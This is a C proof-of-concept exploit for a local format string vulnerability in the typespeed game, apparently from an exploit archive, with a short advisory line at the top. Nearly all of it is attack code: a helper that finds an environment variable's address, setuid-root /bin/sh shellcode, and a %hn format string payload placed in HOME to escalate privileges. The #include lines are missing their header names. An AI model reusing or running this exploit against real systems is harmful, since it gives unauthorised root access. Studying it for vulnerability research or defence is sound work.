// source: https://www.securityfocus.com/bid/12569/info typespeed is prone to a local format string vulnerability. Successful could allow privilege escalation. /* Proof of Concept local exploit for typespeed tool "enva" content: ********************************************* #include #include int main(int argc, char *argv[]) { char *addr_ptr = NULL; addr_ptr = getenv(argv[1]); printf("%s @ %p\n", argv[1], addr_ptr); return 0; } ********************************************* */ #include #define offset 2 #define var (0x08050288+0x4) char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80"; int main(int argc, char *argv[]) { char *addr[3] = { ((char *)var +2), ((char *)var), }; char buffer[1024]; int high, low; long target; target = 0xbffff950; high = (target & 0xffff0000) >> 16; low = (target & 0x0000ffff); high -= 0x8; sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &addr, high, offset, (low - high)-0x8, offset+1); memset(buffer+strlen(buffer), 0x41, 32); setenv("HOME", buffer, 1); setenv("SHELLCODE", shellcode, 1); system("./enva SHELLCODE"); system("./typespeed"); }